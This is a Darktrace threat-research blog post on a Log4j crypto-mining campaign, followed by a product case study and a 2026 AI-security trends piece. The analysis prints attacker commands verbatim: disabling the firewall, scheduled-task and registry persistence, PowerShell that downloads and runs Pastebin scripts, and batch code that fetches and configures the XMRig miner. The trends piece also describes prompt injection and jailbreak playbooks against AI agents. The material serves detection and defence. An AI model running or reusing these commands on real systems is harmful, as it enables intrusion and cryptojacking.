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April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
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03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

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January 7, 2026

How a leading bank is prioritizing risk management to power a resilient future

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As one of the region’s most established financial institutions, this bank sits at the heart of its community’s economic life – powering everything from daily transactions to business growth and long-term wealth planning. Its blend of physical branches and advanced digital services gives customers the convenience they expect and the personal trust they rely on. But as the financial world becomes more interconnected and adversaries more sophisticated, safeguarding that trust requires more than traditional cybersecurity. It demands a resilient, forward-leaning approach that keeps pace with rising threats and tightening regulatory standards.

A complex risk landscape demands a new approach

The bank faced a challenge familiar across the financial sector: too many tools, not enough clarity. Vulnerability scans, pen tests, and risk reports all produced data, yet none worked together to show how exposures connected across systems or what they meant for day-to-day operations. Without a central platform to link and contextualize this data, teams struggled to see how individual findings translated into real exposure across the business.

  • Fragmented risk assessments: Cyber and operational risks were evaluated in silos, often duplicated across teams, and lacked the context needed to prioritize what truly mattered.
  • Limited executive visibility: Leadership struggled to gain a complete, real-time view of trends or progress, making risk ownership difficult to enforce.
  • Emerging compliance pressure: This gap also posed compliance challenges under the EU’s Digital Operational Resilience Act (DORA), which requires financial institutions to demonstrate continuous oversight, effective reporting, and the ability to withstand and recover from cyber and IT disruptions.
“The issue wasn’t the lack of data,” recalls the bank’s Chief Technology Officer. “The challenge was transforming that data into a unified, contextualized picture we could act on quickly and decisively.”

As the bank advanced its digital capabilities and embraced cloud services, its risk environment became more intricate. New pathways for exploitation emerged, human factors grew harder to quantify, and manual processes hindered timely decision-making. To maintain resilience, the security team sought a proactive, AI-powered platform that could consolidate exposures, deliver continuous insight, and ensure high-value risks were addressed before they escalated.

Choosing Darktrace to unlock proactive cyber resilience

To reclaim control over its fragmented risk landscape, the bank selected Darktrace / Proactive Exposure Management™ for cyber risk insight. The solution’s ability to consolidate scanner outputs, pen test results, CVE data, and operational context into one AI-powered view made it the clear choice. Darktrace delivered comprehensive visibility the team had long been missing.

By shifting from a reactive model to proactive security, the bank aimed to:

  • Improve resilience and compliance with DORA
  • Prioritize remediation efforts with greater accuracy
  • Eliminate duplicated work across teams
  • Provide leadership with a complete view of risk, updated continuously
  • Reduce the overall likelihood of attack or disruption

The CTO explains: “We needed a solution that didn’t just list vulnerabilities but showed us what mattered most for our business – how risks connected, how they could be exploited, and what actions would create the biggest reduction in exposure. Darktrace gave us that clarity.”

Targeting the risks that matter most

Darktrace / Proactive Exposure Management offered the bank a new level of visibility and control by continuously analyzing misconfigurations, critical attack paths, human communication patterns, and high-value assets. Its AI-driven risk scoring allowed the team to understand which vulnerabilities had meaningful business impact, not just which were technically severe.

Unifying exposure across architectures

Darktrace aggregates and contextualizes data from across the bank’s security stack, eliminating the need to manually compile or correlate findings. What once required hours of cross-team coordination now appears in a single, continuously updated dashboard.

Revealing an adversarial view of risk

The solution maps multi-stage, complex attack paths across network, cloud, identity systems, email environments, and endpoints – highlighting risks that traditional CVE lists overlook.

Identifying misconfigurations and controlling gaps

Using Self-Learning AI, Darktrace / Proactive Exposure Management spots misconfigurations and prioritizes them based on MITRE adversary techniques, business context, and the bank’s unique digital environment.

Enhancing red-team and pen test effectiveness

By directing testers to the highest-value targets, Darktrace removes guesswork and validates whether defenses hold up against realistic adversarial behavior.

Supporting DORA compliance

From continuous monitoring to executive-ready reporting, the solution provides the transparency and accountability the bank needs to demonstrate operational resilience frameworks.

Proactive security delivers tangible outcomes

Since deploying Darktrace / Proactive Exposure Management, the bank has significantly strengthened its cybersecurity posture while improving operational efficiency.

Greater insight, smarter prioritization, stronger defensee

Security teams are now saving more than four hours per week previously spent aggregating and analyzing risk data. With a unified view of their exposure, they can focus directly on remediation instead of manually correlating multiple reports.

Because risks are now prioritized based on business impact and real-time operational context, they no longer waste time on low-value tasks. Instead, critical issues are identified and resolved sooner, reducing potential windows for exploitation and strengthening the bank’s ongoing resilience against both known and emerging threats.

“Our goal was to move from reactive to proactive security,” the CTO says. “Darktrace didn’t just help us achieve that, it accelerated our roadmap. We now understand our environment with a level of clarity we simply didn’t have before.”

Leadership clarity and stronger governance

Executives and board stakeholders now receive clear, organization-wide visibility into the bank’s risk posture, supported by consistent reporting that highlights trends, progress, and areas requiring attention. This transparency has strengthened confidence in the bank’s cyber resilience and enabled leadership to take true ownership of risk across the institution.

Beyond improved visibility, the bank has also deepened its overall governance maturity. Continuous monitoring and structured oversight allow leaders to make faster, more informed decisions that strategically align security efforts with business priorities. With a more predictable understanding of exposure and risk movement over time, the organization can maintain operational continuity, demonstrate accountability, and adapt more effectively as regulatory expectations evolve.

Trading stress for control

With Darktrace, leaders now have the clarity and confidence they need to report to executives and regulators with accuracy. The ability to see organization-wide risk in context provides assurance that the right issues are being addressed at the right time. That clarity is also empowering security analysts who no longer shoulder the anxiety of wondering which risks matter most or whether something critical has slipped through the cracks. Instead, they’re working with focus and intention, redirecting hours of manual effort into strategic initiatives that strengthen the bank’s overall resilience.

Prioritizing risk to power a resilient future

For this leading financial institution, Darktrace / Proactive Exposure Management has become the foundation for a more unified, data-driven, and resilient cybersecurity program. With clearer, business-relevant priorities, stronger oversight, and measurable efficiency gains, the bank has strengthened its resilience and met demanding regulatory expectations without adding operational strain.

Most importantly, it shifted the bank’s security posture from a reactive stance to a proactive, continuous program. Giving teams the confidence and intelligence to anticipate threats and safeguard the people and services that depend on them.

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Kelland Goodin
Product Marketing Specialist

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December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

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Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple:  to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.  

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.  

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.  

Agentic AI is the next big insider risk

In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy

Prompt Injection moves from theory to front-page breach

We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.  

-- Collin Chapleau, Senior Director of Security & AI Strategy

Humans are even more outpaced, but not broken

When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

AI removes the attacker bottleneck—smaller organizations feel the impact

One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.  

-- Max Heinemeyer, Global Field CISO

SaaS platforms become the preferred supply chain target

Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy

Increased commercialization of generative AI and AI assistants in cyber attacks

One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.  

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.  

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.  

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